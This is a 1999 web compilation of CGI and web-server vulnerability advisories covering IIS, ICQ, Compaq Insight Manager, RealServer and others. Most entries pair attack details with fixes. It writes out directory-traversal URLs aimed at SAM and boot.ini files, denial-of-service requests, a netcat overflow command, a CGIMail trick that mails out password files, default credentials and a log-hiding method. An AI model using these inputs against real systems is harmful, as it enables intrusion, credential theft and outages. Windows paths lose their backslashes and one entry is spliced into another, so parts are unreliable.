Назад в раздел
The Most Comprehensive List of CGI & httpd Bugs.
CGI security: what you should aware of
div.main {margin-left: 20pt; margin-right: 20pt}
T
he M
ost C
omprehensive L
ist of C
GI & h
ttpd B
ugs
compiled by lirik@nanko.ru
last update: 1.Jun.99
stuff mostly from bugtraq
list of server's httpd
CGI scanner in perl
|
CGI scanner v1.35
17/05/99 |
CGI Check 99 [REBOL]
27/05/99
|
|
Name: WinNT counter
Versions: Denial of Service in Counter.exe version 2.70
Date: 19 May 1999
Author: mnemonix (http://www.infowar.co.uk/mnemonix/)
A denial of service exists in counter.exe version 2.70, a fairly popular
webhit counter used on the Win32 platform with web servers such as IIS and
WebSite Pro. There are two different bugs:
1) When someone requests :
http://no-such-server-really/scripts/counter.exe?%0A
this will create an entry in counter.log of a blank line then a ",1" .
If the person then refreshes their browser and requests it again you get
an Access Violation in counter.exe - the instruction at 0x00414c0a referenced
memory at 0x00000000.
2) When someone requests:
http://no-such-server-really/scripts/counter.exe?AAAAAover-2200-As
you get a similar problem - though not a buffer overrun.
Whilst in a state of "hanging" all other vaild requests for counter are
queued and not dealt with until someone goes to the console and okays the AV
messages. Added to this memory can be consumed if the page is continuosly
requested.
|
|
Name: Infosec.19990526.compaq-im.a
Risk: Anyone that have access to port 2301 where
Compaq Insight Manager is installed could get
unrestricted access to the servers disk through
the "root dot dot" bug.
Versions: The web server included in Compaq Insight Manager
Platform: Detected on Windows NT and Novell Netware servers
Date: 26 May 1999
From: gabriel.sandberg@INFOSEC.SE
When installing Compaq Insight Manager a web server gets installed.
This web server runs on port 2301
and is vulnerable to the old
"root dot dot" bug. This bug gives unrestricted access to the vulnerable
server?s disk. It could easily get exploited with one of the URLs:
http://vulnerable-NT.com:2301/../../../winnt/repair/sam._
http://vulnerable-Netware.com:2301/../../../system/ldremote.ncf
(How many dots there should be is install-dependent)
Web-Based Management is enabled, by default, when you install the Compaq
Server Management Agents for Windows NT.(CPQWMGMT.EXE) The web-enabled
Compaq Server Management Agents allow you to view subsystem and status
information from a web browser, either locally or remotely. Web-enabled
Service Management Agents are availible in all 4.x versions of Insight
Manager.
Compaq HTTP Server Version 1.2.15 (Pre-Release)
The only user accounts available in the Compaq Server Management
Agent WEBEM release are listed below.
http://111.111.111.111:2301/cpqlogin.htm
account anonymous/public
username operator/operator
account administrator/administrator
http://111.111.111.111:2301/cpqlogin.htm?ChangePassword=yes
Once you have found one wbem enabled machine, using compaq's HTTP
Auto-Discovery Device List http://111.111.111.111:2301/cpqdev.htm
It is trivial to locate other machines.
There are three types of data:
Default(read only), Sets(read/write), and Reboot(read/write).
The WebAgent.ini file in the system_rootCpqMgmtWebAgent directory
specifies the level of user that has access to data . The "read=" and "write="
entries in the file set the user accounts required for access, where:
0 = No access, 1 = Anonymous, 2 = User, 3 = Operator, and 4 = Administrator.
New Denial of service:
Just to make this post somewhat worthwile.
http://111.111.111.111:2301/AAAAAAAA..... (223 A's seemed to be the minimum)
The first time this occurs, an application error occurs in surveyor.exe
Exception: access violation (0xc0000005), Address: 0x100333e5
|
|
Name: IIS
Risk: Site Server's AdSamples Directory Reveals ID and PSW
Version: Tested on Microsoft Site Server 3.0 Commerce Edition
Date: 11 May 1999
Author: Andrey Kruchkov
Site Server allows the installation of an AdSamples directory, which serves
to demonstrate the capabilities of the Ad Server component. If this
directory is installed and left open to the public without limiting
directory permissions, a user can obtain a site configuration file
(SITE.CSC) that contains sensitive information pertaining to an SQL
database. This information could contain a DSN, as well as a a username
and password used by the Ad Server to access the SQL server database.
Remove the "AdSamples" virtual directory from the DEFAULT root Web site, or
change security permissions for this folder to sufficiently restrict access.
The following URL could be used to obtain the contents of the SITE.CSC file:
http://somesitename/adsamples/config/site.csc
A simple text editor can be used to view the binary contents of this file, where
the DSN, username and password would be easily discovered.
This is probably a great time to remind people once again to NEVER install
sample content on production servers and to NEVER use the built-in IIS
DEFAULT Web site without first thoroughly investigating the implications of
doing so.
|
|
Name: IIS showcode
Risk: Web users can view ASP source code and other sensitive
files on the web server
Versions: Microsoft IIS 4.0 Web Server
Date: May 7th, 1999
Author: weld@l0pht.com
Internet Information Server (IIS) 4.0 ships with a set of sample files
to help web developers learn about Active Server Pages (ASP). One of
these sample files, showcode.asp, is designed to view the source
code of the sample applications via a web browser. The showcode.asp
file does inadequate security checking and allows anyone with a web
browser to view the contents of any text file on the web server. This
includes files that are outside of the document root of the web
server.
The showcode.asp file is installed by default at the URL:
http://www.someserver.com/msadc/Samples/SELECTOR/showcode.asp
It takes 1 argument in the URL, which is the file to view. The format of
this argument is:
source=/path/filename
So to view the contents of the showcode.asp file itself the URL would be:
http://www.someserver.com/msadc/Samples/SELECTOR/showcode.asp?source=/msadc/Samples/SELECTOR/showcode.asp
The author of the ASP file added a security check to only allow the
viewing of the sample files which were in the '/msadc' directory on
the system. The problem is the security check does not test
for the '..' characters within the URL. The only checking done is if the
URL contains the string '/msadc/'. This allows URLs to be created that
view, not only files outside of the samples directory, but files anywhere
on the entire file system that the web server's document root is on.
http://www.someserver.com/msadc/Samples/SELECTOR/showcode.asp?source=/msadc/Samples/../../../../../boot.ini
This URL requires that IIS 4.0 was installed in its default location.
For production servers, sample files should never be installed so delete
the entire /msadc/samples directory.
Q184717 - AspEnableParentPaths MetaBase Property Should Be Set To False
as well as one on removing samples.
also note, that the exair sample (which is NOT installed by default) also
has showcode functionality.
WebTrends were also reporting the showcode.asp exploit, as well as an
exploit in codebrws.asp (both from IIS 4.0). They also reported an
exploit in viewcode.asp (from Site Server 3.0 Commerce Edition).
All 3 reports result in the same vulnerability, the ability to do "../"
up the directory tree and read files.
http://ntbugtraq.ntadvice.com/default.asp?pid=36&sid=1&A2=ind9901&L=NTBU
GTRAQ&D=0&P=6155&F=P
showcode.c
tester
|
|
Name: ICQ-Webserver
Date: May 1999
-sending any non-http stuff or even a simple "get" (without any other
characters however) crashes the ICQ-Client. This works with ICQ99a V2.13
Build 1700, but not with Build 1547.
Moreover, there is a much bigger hole in the ICQ-Webserver: If you have
the webserver enabled, everyone can access your complete(!) harddisk
with a simple webbrowser. When your page is activated and you are online,
each request to
http://members.icq.com/<your ICQ-Number>
redirected to your computer. Thus, every visitor get to know your current
ip. Nevertheless, only the files in
/ICQ99/Hompage/<your ICQ-Number>/personal
should be accessible. But a visitor can "climb up" the directory tree with
some dots, e.g.
http://yourIP/...../a2.html would present him the file
"a2.html" in the "ICQ99" directory. With some more dots, he would come to
the root-directory of your harddisk. But there is one barrier: The
ICQ-Webserver only delivers files with a ".html" extension. After some
experiments I found a way to trick it out: I add ".html/" to the URL and
the Webserver sends every file I request. For instance,
http:///............./config.sys
won't work, but
http:///.html/............./config.sys" would.
I have test this both with Build 1700 and with Build 1547.
we were all using ICQ99a build 1700
Method used:
telnet to port 80
send: QUIT <LF>
it disconnects after 5 to 10 seconds.
if you have a look at the pseudocode below, which i suspect mirabilis to
use, you ll find thousands of ways to exploit icq.
fread(my_socket,"%s %s %s", getword, url, httpversion);
/// if you only feed two or one word, it 'dumps core', gpf under windoze
change the slashes in url to backslashes;
url = "c:program filesicqwebroot_dir" + url;
/// yes, this is the '../../../../' bug ...
open(fd,url);
read(fd,buffer);
write(socket,buffer);
close(socket);
i think its this because i made small webserver earlier to see common
bugs. i checked on the net, and the dynamic server of francois piete
(known for delphi components) and various shareware servers, or remote
admin modules for eg. proxy servers are vulnerable. (kervel@svennieboy.terbank.kotnet.org)
----describtion of the security problem in Build 1701 ----
Problem: When the ICQ-Webserver is enabled (i.e. "Activate Hompage" is
checked) everybody can test if a specific file exsist on
this computer. Although an attacker can't view the contents of the files,
he can test, for example, if a certain application is
installed on this computer. This knowledge is usefull to prepare other
attacks, e.g. sending specialized macro viruses or do
some specialized D.o.S. - attacks.
Details: Mirabilis fixed the old ICQ-Webserver-Bug. With the new
version (build 1701), the ICQ-webserver would only deliver
Files in the ICQ-Homapge-directory. If an attacker tries to read a file
that is not in the hompage-directory of ICQ99 (with the
same method as in the old bug), the ICQ-webserver would'n deliver the
file. If the file exsists on the specific location the
attacker would receive "403 Forbidden". If the file doesn't exsist he
would receive "404 Not Found". Thus, he can test if a
specific file exsist.
It seems that the ICQ-Webserver first tests if the requested file
exsists and than if the request is secure. I think, this order
should be reversed.
icqget.pl
perl url get exploit
icq-exp.txt
tutoral for ICQ webserver
|
|
Name: Macintosh HTTP Server Vulns
Versions: Shilo v1.0b (macos) DoS
Date: 16 Apr 1999
Author: freaky@mail.staticusers.net
A Program that will exploit the buffer overflow in the responder.cgi
on MacHTTP Servers. As always, The Source code to the program is
available. by epic of mSec (http://www.msec.net/ )
To download the exploit
http://freaky.staticusers.net/attack/responder-cgi.html
Responder.cgi, a public domain 'C' shell for MacHTTP CGI Servers
contains a buffer overflow that when exploited, will cause the server
it is run on to freeze. You are at risk if your responder.cgi file
contains the line of code:
char PostArg_Search[256];
which is the QUERY_STRING, Since it only allows upto 256 characters
after ?, the server will crash if 257+ characters are requested.
Exploit Example: (nc is netcat from avian.org)
$ echo "GET /cgi-bin/responder.cgi?xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx" | nc machttp-server.com 80
|
|
Name: Real Media Server
Versions: RealServer 6.0 Core...
Date: April 1999
The fact is that through installation process it ask for a password that
itsn't hide neither when you write it, but worse is that this password is
stored in the file /usr/local/rmserver/rmserver.cfg in plain format and
this file have as default a 644 permision mask.
ALL the files installed for G2 are set as readable by ALL users! massive
chmod'ing.
It gets worse... the G2 web admin facility uses forms to change/set
passwords etc. (Some of) these changes are logged, in plaintext, in the
world readable access logs for your lusers' reading pleasure...
10.1.1.1 - - [14/Mar/1999:11:23:32 +0000]
"GET admin/auth.adduser.html?respage%3Dadduser_respage.html%26name%3Devilhaxor%26
pass%3Dfreekevin%26realm%3DbadwURLd HTTP/1.0"
200 2452 [UNKNOWN] [UNKNOWN] [UNKNOWN] 0 0 0 0 0 114
I believe the PNM port is 554, which I believe _requires_ (for no good
reason) you to run the G2 server as root (unless you change the port, which I
did to 5540).
Like Francisco said; the rmserver.cfg is world-readable and the
subdirectory dbm_b_db and (worse of all, like Adam Laurie already stated),
the dbm_b_db/users directory with user & passwd info is world-readable for
anyone with shell access to the machine running rmserver. There also is a
directory named "Secure", where -and I quote- you can "place secure
contents in" so "RealServer will authenticate the user" :(
So shell access to an rmserver = rmserver admin rights. (^.^)'
this also affects Version 6.0.3.303 of RealAudio Basic Server on Win NT,
File Persmission is set to full access by everyone
Station Manager from Lariat Software (www.lariat.com) manages/schedules
content offered on Real Servers and has similar issues. Quoting from their
docs:
Installing the product under docroot means all of the
installed files are viewable and/or retrievable. This includes
license info, manuals, admin info, *config* files...for example:
http://my.example.com/stationmanager/lariat/server/config/stnmng.cfg
might reward you with:
---
RVSLTA Z:RealServerBinrvslta.exe
SERVERHOSTNAME somehost.example.com
SERVERPASSWORD xyz123 From what I can make out:
Machines that first had IIS 3 then were upgraded to IIS 4 with the
NT Option Pack and Service Pack 3 or 4 return the page and don't log.
Here is the source for avoid.c
as many have
asked for it - for those that get a 500 response back from the server
play around with the request_method length by increasing it until
you get a 200ok response. It will chop and change between 5xx, 4xx
and 200 responses
|
|
Name: Perl.exe and IIS security advisory
Risk: the physical disk location of a virtual web directory
can be ascertained.
Versions: all versions of IIS
Date: 22 Jan 1999
Author: mnemonix (mnemonix@GLOBALNET.CO.UK)
In all versions of IIS, where a website has been configured to
interpret perl scripts using the perl executable (perl.exe),a problem
exists where a request for a non-existent file will return the physical
location on a disk of a web directory. A request for:
http://www.server.com/scripts/no-such-file.pl
will return information similar to the following:
CGI Error
The specified CGI application misbehaved by not returning a complete
set of HTTP headers. The headers it did return are:
Can't open perl script "C:InetPubscriptsno-such-file.pl":
No such file or directory
Previously this was a problem when requesting a non-existent .IDC
file but this was resolved with Service Pack 4.
To resolve this problem in IIS 2 and 3 you can use perlis.dll, the
ISAPI version of the perl interpreter, instead of the executable.
You can use this in IIS 4 as well, however, if you still want to
use perl.exe you can configure IIS to check for the file's existence.
NTInfoScan, downloadable from
http://www.infowar.co.uk/mnemonix/ntinfoscan.htm
, checks for
this problem and the .IDC issue as well as other security checks.
Another problem with some versions of perl.exe (eg 5.001 build 110)
is that it can be used to glean information from files that should
not be readable (eg .asp or .idc), possibly even passwords and user
IDs. This works even on directories with the "EXECUTE" permission
only. The problem is caused by IIS not checking for a file's existence
before passing control to a command interpreter. IIS 4.0 can do this,
but it does not do it by default. Other versions of IIS don't have
this capability. Basically what you do is request a file and append
%20.pl to the end of the URL:
http://www.server.com/scripts/default.asp%20.pl
IIS receives this request and assumes it is a request for a perl
script due to the extention so it passes the request to perl.exe.
Perl, when it receives the instruction to execute default.asp treats
the .pl as an argument. It goes ahead and tries to run the "commands"
in the file but can't because it is not a valid perl script. Due
to its verbosity in the error messages spawned by the file not
being a real script you can glean information from the file. To see
this working create a text file and call it passwd.txt. Enter
"webadmin" (the user ID) on one line and "secret!" (the password)
on another. Save it to your scripts directory and enter the following URL:
http://your.server.com/scripts/passwd.txt%20.pl
You should, depending upon your version of perl.exe receive the
following output:
Can't call method "webadmin" in empty package "password" at
C:InetPubscriptspass.txt line 1
Some web cgi scripts require password files like these. Depending
on how any .asp or .idc files are written you may be able to extract
userIDs and passwords.
Again another problem is that some versions of perl.exe will accept
wildcards such as * or ?. Request:
http://www.server.com/scripts/*.pl
and perl.exe will open the first .pl it comes across in the directory.
You can ask for *.asp%20.pl or d*.idc%20.pl - these will do fine.
To stop this problem from happening use the ISAPI perl interpreter
instead PerlIS.dll. This provides for better performance anyway
because only one instance is ever loaded into memory. For each
concurrent perl script request a new instance of perl.exe is loaded
into its own memory space. This behaviour was discovered by Mnemonix.
|
|
Name: PWS32 httpd bug
Risk: allows remote file listing/downloading/source viewing
Versions: PWS 3.0 under Windows 9x.
Frontpage-PWS32/3.0.2.926
Date: 21 Jan 1999
the following URL will list the root directory and be able to
download any file you want.
http://www.victim.com/....../
Index of /....../
WINDOWS
My Documents
Program Files
FrontPage Webs
AUTOEXEC.BAT
COMMAND.COM
Shares are accessible via personal Web Server.
For Example, I tried sharing my WinZip Directory as 'Test' and
strangely enough http://127.0.0.1/Test/
brought up the WinZip
Directory.
Under Windows NT 4.0 SP3:
[ It seems NT interprets N+3 dots as '.' ]
C:TEMP> cd ..
C:>
[ It seems NT interprets '..' as '..'. Makes sense as '' is directory
delimiter character for paths. ]
C:TEMP> cd ...
C:>
C:> cd TEMP
C:TEMP> cd ...WINNT
C:WINNT>
[ Whoa. Now NT interprets '...' as '..'. Bad. Real bad. ]
[ But it doesn't work in directories more that one deep. ]
C:TEMP> cd .....
C:>
C:TEMPTEST> cd .....
C:TEMP> cd ....
C:TEMP>
[ Hmm. Now NT interprets '....' as '..'. Weird. But wait it gets stranger. ]
C:TEMP> cd ....
C:TEMP> cd ....
C:>
[ The first '....' as interpreted as '.' and the second as '..'.But:]
[ Now in a directory two levels deep the first '....' is interpreted as '..'
while the second one gives an error. The first '..' is interpreted as '.'
while the second one works as normal. ]
The '....' problems seems to appear for any such string with N+4 dots
followed by a slash. I can only guess on the many other ways they
may try to interpret pathnames.
|
|
Name: upgraged to IIS 4.0
Date: 14 Jan 1999
Risk: Admin Brute-force hack and Buffer overflow
Versions: those that upgraged to IIS 4 from IIS 2 or 3.
Author: mnemonix (mnemonix@GLOBALNET.CO.UK)
Microsoft's IIS 4 limits Web-based administration to the loopback
address (127.0.0.1) by default as a security measure. However, a
relict left over from IIS 2 and 3, ism.dll left in the /scripts/iisadmin
directory, allows users / attackers to access the previous ISAPI
application used for remote web-based administration from an
non-loopback IP address. On accessing a URL similar to the following
http://www.server.com/scripts/iisadmin/ism.dll?http/dir
a user will be prompted for a UserID and password and if successful
authentication takes place they are given access to sensitive server
information. Note however, that changes can no longer be made with
this application. It does however provide an attacker with a means
to brute force / guess the Administrators password and if successful
an enormous amount of reconnaisance work can be achieved through
the application's use.
This application is now rundundant and can be removed. It plays no
part in IIS 4's Web-based administration.
Added to this if IIS 4 is installed from the NT Option Pack and
Frontpage Server Extentions are installed too, the fpcount.exe
utility
found in the /_vti_bin/ contains an exploitable buffer overrun. I
advised on this last year and MS produced an updated version in
FPServer Extentions 98 which can be downloaded from the MS website.
Fpcount.exe (c) mnemonix
Microsoft's FrontPage extentions comes with a utility called fpcount.exe
- this is used as a webhit counter. If you access this program directly
you can cause a buffer over flow and/or tie up the processor at 100%.
The two can be combined into a denial of service attack that will
cause IIS to stop servicing requests:
http://www.server.com/scripts/fpcount.exe?Page=default.htm|Image=3|Digits=10000
Note here we are asking fpcount to calculate to 10000 digits. This
will cause the buffer overrun and Dr Watson, or whatever the specified
debugger is, will kick in saying so. When Dr Watson loads here it
takes up about 4000K of memory. If an attacker reloads the page a
number of times the remote machine will soon run dry of memory. To
then finally kill IIS an attacker would enter the following URL:
http://www.server.com/scripts/fpcount.exe?Page=default.htm|Image=3|Digits=-10000
With this negative integer the program's buffer won't overflow and
will tie up the processor at 100% while it tries to generate 10000
digits. The largest number I've been able to send without problems
is -99999999. This will kill IIS for upto 10 hrs depending on the
speed of the processor. Even when it has finished calculating it is
still short on available memory.
|
|
Name: cgic library
Date: 10 Jan 1999
Risk: Buffer overflow
Versions: Thomas Boutell's cgic library (version 1.05)
Distro: www.boutell.com
program has a buffer overflow in cgiFormEntryString() which is
almost certainly exploitable.(Although it obviously depends on the
program that has linked with cgic.)
The fault is because he is checking if 'len =3D=3D avail' before
examining = each input character, but if the character is not CR
or LF then 'len' is not checked after outputting the LFs but before
outputting the character.
(i.e. it checks that there is 1 byte free in the buffer, but then
it can sometimes place 2 bytes in the buffer before checking again.)
i.e. if 'avail' is 'n' and the 'n-1'th character is LF or CR and
the 'n'th character is *not* LF or CR then the character will be
written at the end of the buffer (because avail =3D=3D sizeofbuffer-1),
and then len =3D avail= + 1.
Since he always checks for 'len =3D=3D avail' rather than 'len>=3D
avail',= this means the overflow detection never kicks in,and the
routine keeps copying until the end of the input. The attacker is
free to copy whatever data they desire into the memory above the buffer.
As an example, the cgictest program can be segfaulted by:
$ REQUEST_METHOD=3DGET
QUERY_STRING=3D'address=3D<240 x letter 'A'>%0A<1000=x letter 'A'>'
./cgictest
Content-type: text/html
cgic test
Name:
Address:
Segmentation fault (core dumped)
Oh, one other point is that the 'cgiSaferSystem' function appears
to be seriously misguided. It is merely escaping the '|' and ';'
characters, which is of course totally inadequate.
(As an aside, I think it is safe to use Perl's quotemeta
function
before sending a string to a shell. It puts a backslash before all
characters except [A-Za-z0-9_]. )
|
|
Name: HTTP REQUEST_METHOD
flaw
Date: 6 Jan 1999
Risk: could allow web server attacks to go unnoticed.
Versions: Apache/1.3.3, 1.2.7, IIS 2, 3 and 4 and others?
The problem relates to "allowable" REQUEST_METHODs when a dynamic
resource, such as a CGI script is requested. Essentially _any_
(except for HEAD, TRACE and OPTIONS) REQUEST_METHOD can be used -
even methods not defined in the HTTP protocol. Consider the following
requests which all return the requested resource.
GET /cgi-bin/environ.cgi HTTP/0.9
Azx5T8uHTRuDL /cgi-bin/environ.cgi HTTP/1.0
Even Control characters are allowed. Consider the following:
^H^H^H^H^H^H^H^H^H lots of these ^H^H /cgi-bin/environ.cgi HTTP/1.1
An attacker could issue this request in an attempt to hide their
movements. When this request is logged in the access log and
viewed using cat or more the above will appear with the IP address
removed.
# cat /var/log/httpd/access_log
or
# more /var/log/httpd/access_log
reveals
10.20.20.1 - - [05/Jan/1999:18:00:00 GMT] "GET / HTTP/1.0" 200 1098
/cgi-bin/environ.cgi HTTP/1.1" 200 2034
10.20.20.2 - - [05/Jan/1999:18:01:00 GMT] "GET /index.html HTTP/1.1"
200 1098
Using a method similar to this it is possible for an attacker to
make it appear as if the attack came from another IP address or
completely remove the whole entry by placing certain control characters
in the QUERY_STRING, too. This "hiding" works because the control
characters are interpreted when piped to STDOUT and the ^H being
the back space removes, from the screen at least, the IP address
and date and time stamp. You could use the vi editor the view the
"real" contents of the access log.
Also it affects is Microsoft's Internet Information Server, but in
the NT environment this is less of a problem because the log files
are generally viewd in Notepad and not using the "type" command,
which incidently will interpret the control characters.
As I said it's only a mild problem most likely, really, to effect
those that don't use a text editor to browse log files.
The paranoid may want to reconsider their logging entirely.Apache's
"raw" logging of the request can result in more serious problems.
Consider:
$ telnet www.foo.com http
Trying www.foo.com...
Connected to www.foo.com.
Escape character is '^]'.
GET / HTTP/1.0" 404 -9999999 "
This results in the following (combined format) log entry:
aaa.bbb.ccc.ddd - - [07/Jan/1999:14:07:41 -0500]
"GET / HTTP/1.0" 404 -9999999 "" 200 751 "-" "-"
In the "combined" log format, the same technique is possible with
the referer and user-agent, such that you can construct completely
unparseable log entries. It seems to be that newlines are the only
characters you can't weasel into a request.
Sending a null, by the way, results in this interesting effect:
209.54.21.199 - - [07/Jan/1999:14:35:27 -0500] "?“?y" 501 - "-" "-"
(Perhaps that will be mutilated by non 8-bit mail transport.. it's
the four characters ff f4 ff fd)
There is, however, a more important issue according to Marc Slemko
that this same feature of allowing arbitrary methods to be passed
to CGIs can result in. Many people, for some reason, insist on
using the "Limit" directive whenever they configure any access
restrictions. For example, they may do:
<Limit GET POST>
order deny,allow
deny from all
allow from 10.0.0
</Limit>
to deny all access to hosts outside of 10.0.0.0/24. That is
incorrect. In normal situations, it doesn't always lead to much
of a security risk. With many CGIs, it does. That is because
many CGIs do not properly check what method they are called with
and refuse requests if they don't understand the method. That
means it is impossible[0] to list every method that could be used
to call a script, since Apache allows for arbitrary methods to be
used.
|
|
Name: CGIMail.exe
Date: 1998
Versions: by Stalkerlabs for a Win32 platform.
Risk: file steal
Author: mnemonix
CGIMail.exe is a Web to e-mail gateway program.Basically, you fill
in an on-line form and it is e-mailed off. The contents of the form,
amongst other things, contains the following :
<form action="/scripts/CGImail.exe" method="POST" NAME="TestForm">
<input type=hidden name="$File$" value="/scripts/template.txt">
<input type=hidden name="$Subject$" value="CGImail Example">
<input type=hidden name="$LocationOK$" value="/ok.html">
<input type=hidden name="$LocationKO$" value="/ko.html">
<input type=hidden name="$To$" value="mnemonix@globalnet.co.uk">
<input type=hidden name="$Optional$" value="mmmh, no!">
There is also another possible "hidden" input type and this takes
the following shape:
<input type=hidden name="$Attach$" value="">
This allows you to attach a file to the e-mail - any file the
IUSR_COMPUTERNAME account has access to. So if the NT server is
poorly configured as far as security is concerned you could put
in "c:winntrepairsam._
" as the input's value:
<input type=hidden name="$Attach$" value="c:winntrepairsam._">
Note - Using %windir% won't work - you need the full path.
So here's how the hack would go :
You go to their form page and view the source. Save this source to
the desktop and make some editions to it, like put your e-mail address
in (use a temporary one!) and put the $Attach$ entry in. Save these
changes and then load the new page and click on send.
All things going well you should receive a compressed copy of their
SAM which you can then get to work on, using l0phtcrack to glean the
passwords. CGIMail can be made more secure: the cgimail.ini can be
edited so that only certain referrers are accepted but only around
50% of the machines I've seen with this on have configured it so.
|
|
Name: Unauthorized ODBC Access via RDS and IIS
Date: 1998
Versions: IIS 4.0, MS Remote Data Services v1.5, MS Visual Studio v6.0
Risk: Unauthorized ODBC Access via RDS and IIS
According to the notice issued by Microsoft, "a web client connecting
to an IIS server can use the RDS DataFactory object (installed with
NT Option Pack) to direct that server to access data using an
installed OLE DB provider. This includes executing SQL calls to
ODBC-compliant databases using the ODBC drivers installed on the server."
EXAMPLE
"A web-client could issue a SQL command along with the name or IP
address of a remote SQL server, a SQL account and password, database
name, and a SQL query string. If the request is valid (remote server
is reachable by the IIS server, user account and password are correct,
database name is valid), the query results will be sent via HTTP
back to the client. While it is true that this requires significant
inside information, the potential accessibility of this information
should not be underestimated..."
The problem is compounded by using other software, such as Microsoft
DataShape Provider and Microsoft JET OLE DB provider (included with
MDAC 2.0 in Visual Studio 98) because they allow shell commands to
be executed -- we're certain you get this gist of this implication...
SOLUTION
Consider disabling the implicit remoting functionality in the DataFactory
object -- it's dangerous. To do so, remove the following Registry keys:
HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServices
W3SVCParametersADCLaunchRDSServer.DataFactory
HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesW3SVC
ParametersADCLaunchAdvancedDataFactory
HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesW3SVC
ParametersADCLaunchVbBusObj.VbBusObjCls
Additionally, the NT Resource Kit includes the utility DELREG.EXE
which can be used to remove the above mentioned keys.
Reference Microsoft's Knowledge Base article Q184375, for security
implications of RDS 1.5, IIS 4.0, and ODBC.
|
|
Name: newdsn.exe & getdrvrs.exe
Date: 1998
Versions: Internet Information Server 3.0
Risk: default scripts can bring hack
Source: mnemonix
When IIS is installed it will create a tools sub-directory off of
the /scripts directory. It will place a number or related .exes in
here that are used for creating ODBC datasources for online databases.
These executables leave cause two security concerns.
The first is that using these .exes a remote attacker can create a
file with any extention in any directory that the anonymous internet
account has NTFS write permissions to. If FAT is in use then they
can write to anywhere. The exe that creates the file is actually
dsnform.exe. Lets say they had write access to any of your directories
with the "execute" permission. If they knew the real path to this
directory they can create a file with a .exe extention - eg
run.exe. Assuming they have write permissions to your scripts
directory they would enter the following URLs:
http://www.server.com/scripts/tools/getdrvrs.exe
From here they would choose the *.mdb option and be taken to:
http://www.server.com/scripts/tools/dsnform.exe?Microsoft+Access+Driver+(*.mdb)
Here they would enter a datasource name to create (can be anything
you want)and then specifies the database name. This is where the
attacker would enter something like c:inetpubscriptsrun.exe.
They then click on create datasource (making sure that "Create new
database with this name" is checked). They should be taken to the following:
http://www.server.com/scripts/tools/newdsn.exe?
driver=Microsoft%2BAccess%2BDriver%2B%28*.mdb%29&dsn=sdsd&dbq=hmm.mdb&newdb=CREATE_DB&attr=
After they had created run.exe they enter the following URL:
http://www.server.com/scripts/run.exe
Because run.exe is not a real executable and is infact an mdb file
with a .exe extention it has problems executing. Create the file
and run it from a command prompt. You'll see invalid CPU calls and
it will ask you to "Terminate" or "Ignore". What actually happens
is NT tries running it and thinks it's a 16-bit program so will
launch an NTVDM (NT's Virtual DOS machine -for running 16-bit apps).
Now if this is run via the web because it is non-interactive with
the desktop you don't get the prompt to terminate or ignore - the
NTVDM just hangs. If this attacker now refreshes his page a number
of times you'll soon start to eat into your virtual memory - a new
NTVDM is loaded each time. By the way - this invalid CPU call is
actually an NTVDM buffer overflow - there is no known way to execute
arbitary code with it - you'll need to inject your assembly code
into the run.exe mdb file and this can't be done from across the
web without having some other means to do this. This is a simple
denial of service.
The other problems with this set of executables is that existing
datasources can be modifed if the database file name is known -
instead of choosing "Create new database with this name" choose
"This is an existing Access database". This will re-write the ODBC
database making it now inaccessible - another Denial of service
attack.
http://vulnerable.site.com/scripts/tools/newdsn.exe?
driver=Microsoft%2BAccess%2BDriver%2B%28*.mdb%29&dsn=Evil+samples+from+microsoft
&dbq=..%2F..%2Fwwwroot%2Fevil.html&newdb=CREATE_DB&attr=
will create file evil.html in wwwroot directory.
evil.html in fact is a Microsoft Access Database.
Solution: delete newdsn.exe :)
|
|
Name: Index Server Exploit
Date: 1998
Versions: Internet Information Server 3.0 (Index Server Exploit)
Risk: default scripts can bring hack
If the system administrator has left the default sample files on
the Internet Information server, a hacker would have the opportunity
of narrowing down their search for a username and password. A simple
query of a popular search engine shows about four hundred websites
that have barely modified versions of the sample files still installed
and available. This file is called queryhit.htm
. Many webmasters
have neglected to modify the search fields to only search certain
directories and avoid the script directories. Once one of these sites
is located a search performed can easily narrow down the files a
hacker would need to find a username and password. Using the sample
search page it is easy to specify only files that have the word
password in them and are script files (.asp or .idc files, cold
fusion scripts, even .pl files are good). The URL the hacker would
try is
http://servername/samples/search/queryhit.htm
then the hacker would search with something like "#filename=*.asp"
When the results are returned not only can one link to the files but
also can look at the "hits" by clicking the view hits link that uses
the webhits program. This program bypasses the security set by IIS
on script files and allows the source to be displayed. Even if the
original samples are not installed or have been removed a hole is
still available to read the script source. If the server has Service
Pack 2 fully installed (including Index Server) they will also have
webhits.exe located in the path
http://servername/scripts/samples/search/webhits.exe
This URL can preface another URL on that server and display the
contents of the script.
To protect your server from this problem remove the webhits.exe file
from the server, or at least from it's default directory. I also
recommend that you customize your server search pages and scripts
(.idq files) to make sure they only search what you want - such as
plain .HTM or .HTML files. Index Server is a wonderful product but
be sure you have configured it properly.
|
|
Name: Executable Directories in IIS 4
Date: August 31, 1998
Versions: Internet Information Server 4.0
Risk: If a non-administrative user can place executable code into
a web site directory which allows file execution, the user
may be able to run applications which could compromise the
web server.
The following directories are marked executable by default on an
install of IIS 4.0:
/W3SVC/1/ROOT/msadc
/W3SVC/1/ROOT/News
/W3SVC/1/ROOT/Mail
/W3SVC/1/ROOT/cgi-bin
/W3SVC/1/ROOT/SCRIPTS
/W3SVC/1/ROOT/IISADMPWD
/W3SVC/1/ROOT/_vti_bin
/W3SVC/1/ROOT/_vti_bin/_vti_adm
/W3SVC/1/ROOT/_vti_bin/_vti_aut
In a default install, the physical drive mappings will be:
msadc c:program filescommonsystemmsadc
News c:InetPubNews
Mail c:InetPubMail
cgi-bin c:InetPubwwwrootcgi-bin
SCRIPTS c:InetPubscripts
IISADMPWD C:WINNTSystem32inetsrviisadmpwd
_vti_bin Not present by default - installed with FrontPage extensions
Access to the physical directories can be obtained through drive
sharing, remote command shells (e.g., rcmd, telnet, remote.exe),
HTTP PUT commands, or FrontPage. None of these methods are available
in a default install, but are often added by administrators. The
